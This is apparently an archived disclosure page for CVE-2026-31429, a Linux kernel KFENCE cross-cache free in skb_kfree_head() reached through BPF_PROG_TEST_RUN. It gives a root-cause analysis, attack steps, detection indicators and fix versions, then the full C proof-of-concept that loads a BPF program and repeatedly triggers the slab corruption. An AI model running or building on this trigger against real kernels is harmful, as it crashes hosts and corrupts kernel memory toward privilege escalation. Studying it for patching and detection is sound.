PoC Archive PoC Archive
Medium CVE-2026-31429 patched

Linux Kernel KFENCE Cross-Cache Free of SKB Head via bpf_prog_test_run_skb — CVE-2026-31429

by Antonius / w1sdom (Blue Dragon Security) · 2026-07-05

Severity
Medium
CVE
CVE-2026-31429
Category
binary
Affected product
Linux kernel — net/core/skbuff.c (skb_kfree_head()) via bpf_prog_test_run_skb
Affected versions
Linux >= 6.3 (introduced by bf9f1baa279f); fixed >= 6.12.82, >= 6.18.23, >= 6.19.13, >= 7.0 (commit 0f42e3f4fe2a)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherAntonius / w1sdom (Blue Dragon Security)
CVE / AdvisoryCVE-2026-31429
Categorybinary
SeverityMedium
CVSS ScoreNot specified in source
StatusPoC
Tagslinux-kernel, kfence, cross-cache, slab-corruption, ebpf, skb, cwe-763, use-after-free-adjacent
RelatedN/A

Affected Target

FieldValue
Software / SystemLinux kernel — net/core/skbuff.c (skb_kfree_head()) via bpf_prog_test_run_skb
Versions AffectedLinux >= 6.3 (introduced by bf9f1baa279f); fixed >= 6.12.82, >= 6.18.23, >= 6.19.13, >= 7.0 (commit 0f42e3f4fe2a)
Language / PlatformC, Linux kernel (KFENCE-enabled builds)
Authentication RequiredLocal-only (ability to issue BPF_PROG_TEST_RUN, typically requires CAP_BPF/CAP_SYS_ADMIN-class privilege depending on unprivileged_bpf_disabled)
Network Access RequiredNo

Summary

Linux’s skb_kfree_head() decides which slab cache to free an SKB’s head buffer back to based solely on whether end_offset equals SKB_SMALL_HEAD_HEADROOM, relying on the fact that SKB_SMALL_HEAD_CACHE_SIZE is a non-power-of-2 value that normally never collides with a generic kmalloc bucket size. When KFENCE intercepts the allocation (as can happen via bpf_test_init() in net/bpf/test_run.c calling kzalloc() with a size equal to SKB_SMALL_HEAD_CACHE_SIZE), kfence_ksize() returns the exact requested size rather than the rounded-up bucket size, causing the heuristic to falsely conclude the buffer belongs to skb_small_head_cache and freeing it to the wrong slab cache. This cross-cache free corrupts slab metadata and can be leveraged toward further memory-corruption primitives (the repository’s own README characterizes this as a proof-of-concept demonstrating the confusion, not a full working exploit).


Vulnerability Details

Root Cause

skb_kfree_head() uses end_offset == SKB_SMALL_HEAD_HEADROOM as a proxy for “this buffer came from skb_small_head_cache,” which is only valid under normal slab semantics where ksize() returns the bucket size. KFENCE’s kfence_ksize() returns the exact allocation size instead, so an allocation sized exactly SKB_SMALL_HEAD_CACHE_SIZE (704 bytes on x86_64) served from a kmalloc-1k region under KFENCE produces a false match, and the object is freed to the wrong kmem_cache.

Attack Vector

  1. Trigger BPF_PROG_TEST_RUN (syscall 321, cmd=BPF_PROG_TEST_RUN) via bpf_prog_test_run_skb().
  2. bpf_test_init() allocates the SKB head buffer with kzalloc(size, GFP_USER) where size == SKB_SMALL_HEAD_CACHE_SIZE (704 bytes on x86_64); on a KFENCE-instrumented kernel, KFENCE intercepts this allocation and serves it from guard-paged memory sized to the exact request.
  3. slab_build_skb() computes skb_end_offset from ksize(data), which under KFENCE returns the exact 704-byte size instead of the 1024-byte bucket size, causing skb_end_offset to equal SKB_SMALL_HEAD_HEADROOM (a false match).
  4. On free, skb_kfree_head() incorrectly routes the object to kmem_cache_free(skb_small_head_cache, ...) instead of generic kfree(), corrupting the actual (kmalloc-1k) cache’s slab metadata — a cross-cache free.

Impact

Slab metadata corruption reachable from an unprivileged-adjacent syscall path when KFENCE is enabled; per the source repository this is documented as a proof-of-concept of the confusion (not a weaponized exploit), with potential security impacts including mitigation bypass, LSM disabling, kernel rootkit implantation, container breakout, and denial of service if further developed into a full exploit primitive.


Environment / Lab Setup

Target:   Linux kernel >= 6.3, < fixed versions, built with CONFIG_KFENCE=y
Attacker: C toolchain (gcc/make) to build and run cve-2026-31429-poc-only.c; ability to invoke BPF_PROG_TEST_RUN

Proof of Concept

PoC Script

See cve-2026-31429-poc-only.c and dmesg.txt (crash/corruption evidence) in this folder.

1
2
3
gcc -O2 -o poc cve-2026-31429-poc-only.c
./poc
dmesg | tail -50

The PoC triggers BPF_PROG_TEST_RUN with a crafted SKB size matching SKB_SMALL_HEAD_CACHE_SIZE on a KFENCE-enabled kernel, causing the cross-cache free in skb_kfree_head(); dmesg.txt captures the resulting kernel slab-corruption warning/crash evidence from the researcher’s test run.


Detection & Indicators of Compromise

Signs of compromise:

  • Kernel log warnings referencing skb_small_head_cache or slab-cache mismatches
  • Repeated BPF_PROG_TEST_RUN invocations with unusual/fixed-size SKB buffers from a single process
  • KFENCE/KASAN reports around skb_kfree_head or slab_build_skb

Remediation

ActionDetail
Primary fixUpgrade to Linux >= 6.12.82, >= 6.18.23, >= 6.19.13, or >= 7.0 (mainline commit 0f42e3f4fe2a)
Interim mitigationRestrict BPF_PROG_TEST_RUN access via unprivileged_bpf_disabled/CAP_BPF restrictions where KFENCE is enabled; disable KFENCE on the affected skb_small_head_cache path if not otherwise mitigated

References


Notes

Mirrored from https://github.com/bluedragonsecurity/CVE-2026-31429-POC on 2026-07-05.

cve-2026-31429-poc-only.c
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
/*
POC for CVE-2026-31429
Linux Kernel >= 6.3 < 6.12.82  Slab Cross-Cache Confusion Vulnerability
Discovered by Antonius w1sdom - bluedragonsec.com 
gcc -O2 -o cve-2026-31429-poc-only cve-2026-31429-poc-only.c
might require root privilege !
related security impacts :
- mitigation bypass
- disabling LSM
- kernel rootkit implants
- container breakout
- denial of service
*/
#define _GNU_SOURCE
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/syscall.h>
#include <sys/mman.h>

#ifndef __NR_bpf
#define __NR_bpf 321
#endif

/* BPF insns: ld_imm64(r0,0) + exit — 3 insns = 24 bytes */
static uint8_t bpf_prog_bytes[] = {
    0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x95, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};

static uint8_t syz_data[284] = {
    0x60,0xdc,0x24,0x19,0xdd,0x5e,0x95,0xd4,0x73,0x79,0xd5,0x04,0xef,0x23,0xc1,0x79,
    0x45,0x52,0xaa,0x7b,0x7d,0x1d,0x56,0xfa,0xba,0x28,0x2e,0x46,0xc9,0x45,0x81,0x3d,
    0x60,0x90,0xa3,0x11,0x47,0xc0,0x7f,0x95,0xf2,0x71,0x69,0xcb,0x54,0xbe,0x67,0x59,
    0x79,0x28,0x85,0xcb,0x60,0xfa,0x32,0x80,0x61,0xa0,0xc9,0x05,0xc3,0xaa,0x1e,0x4c,
    0x7b,0x82,0xf5,0x74,0x69,0x25,0x10,0x83,0xa0,0x12,0x8e,0x50,0xde,0xb0,0x10,0x72,
    0xd9,0xc4,0x7a,0x94,0xca,0x02,0xb3,0xf7,0x4a,0xf9,0xba,0xcf,0xb5,0xf7,0x06,0x13,
    0x36,0x1b,0x48,0x01,0xbe,0xd2,0x6b,0x41,0x30,0xf9,0x68,0x1e,0xd2,0xa7,0xc6,0x93,
    0xff,0x8e,0xd1,0xea,0xf8,0x20,0xc0,0x60,0x13,0x33,0xe5,0xed,0x3f,0xd2,0xdc,0x8a,
    0x5d,0xea,0xbe,0xeb,0x37,0xaf,0x12,0x0a,0x72,0xe5,0x00,0x8f,0xea,0xf8,0xae,0x0f,
    0x59,0x9d,0xc1,0x86,0xc5,0xd5,0x8c,0x54,0x4a,0x1e,0xc8,0x83,0xf4,0xbc,0x04,0x6e,
    0xd9,0x7a,0xf6,0x39,0x06,0xc0,0x12,0xab,0x0b,0xa6,0xa6,0x6e,0x06,0xcc,0x06,0x17,
    0x78,0xe5,0x95,0x13,0x1c,0x15,0xcd,0xdf,0x7c,0x57,0x75,0xe3,0xaa,0x3d,0x8a,0x14,
    0x13,0x97,0xed,0x95,0x93,0x90,0x27,0x81,0xf2,0xa1,0x64,0x32,0x5f,0x30,0x4c,0xba,
    0x56,0x6f,0xa5,0x7e,0xef,0xff,0xa7,0x9e,0xa5,0xbb,0x08,0x71,0xd9,0x9f,0x3e,0xbb,
    0x4c,0x46,0xed,0x51,0xc9,0x55,0x2b,0xda,0x25,0xa8,0x12,0x85,0xdc,0x0b,0x06,0x4a,
    0xa7,0xfc,0xfb,0x00,0xf7,0x8a,0x33,0x24,0x8e,0x4d,0xf8,0x87,0xf2,0xe6,0x09,0x5c,
    0x05,0xc9,0x97,0x20,0x96,0x66,0xf9,0xb5,0xad,0x2f,0xed,0x68,0x41,0xfa,0xb9,0x93,
    0x28,0x88,0x5b,0x45,0x5e,0x61,0x6f,0x62,0x94,0xaa,0x17,0x68,
};

static int bpf_load(void)
{
    uint8_t attr[0x94];
    memset(attr, 0, sizeof(attr));
    *(uint32_t*)(attr+0x00) = 3;                         /* SCHED_CLS */
    *(uint32_t*)(attr+0x04) = 3;                         /* insn_cnt */
    *(uint64_t*)(attr+0x08) = (uint64_t)bpf_prog_bytes;
    *(uint64_t*)(attr+0x10) = (uint64_t)"GPL";
    return (int)syscall(__NR_bpf, 5, attr, 0x94);
}

static long bpf_run(int fd, void *data, uint32_t sz,
                    uint32_t repeat, uint32_t flags)
{
    uint8_t attr[0x50];
    memset(attr, 0, sizeof(attr));
    *(uint32_t*)(attr+0x00) = (uint32_t)fd;
    *(uint32_t*)(attr+0x08) = sz;
    *(uint64_t*)(attr+0x10) = (uint64_t)data;
    *(uint32_t*)(attr+0x20) = repeat;
    *(uint32_t*)(attr+0x40) = flags;   /* BPF_F_TEST_RUN_ON_CPU = 4 */
    *(uint32_t*)(attr+0x44) = 0;       /* cpu = 0 */
    return syscall(__NR_bpf, 10, attr, 0x50);
}

int main(void)
{
    printf("repro2 — warn_free_bad_obj (syzkaller exact data)\n");
    printf("uid=%d euid=%d\n", getuid(), geteuid());

    /* Setup mmap persis seperti syzkaller */
    syscall(__NR_mmap, 0x1ffffffff000ul, 0x1000ul,
            0ul, 0x32ul, -1, 0ul);
    syscall(__NR_mmap, 0x200000000000ul, 0x1000000ul,
            7ul, 0x32ul, -1, 0ul);
    syscall(__NR_mmap, 0x200001000000ul, 0x1000ul,
            0ul, 0x32ul, -1, 0ul);

    int fd = bpf_load();
    if (fd < 0) {
        printf("[-] BPF_PROG_LOAD: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] prog fd=%d\n", fd);

    printf("[*] Trigger: syz_data=284B flags=4 repeat=4\n");
    long ret = bpf_run(fd, syz_data, 284, 4, 4);
    printf("[*] ret=%ld\n", ret);

    /* Loop untuk reliability */
    for (int i = 0; i < 50; i++)
        bpf_run(fd, syz_data, 284, 4, 4);

    printf("[+] Done — cek: dmesg | grep warn_free\n");
    close(fd);
    return 0;
}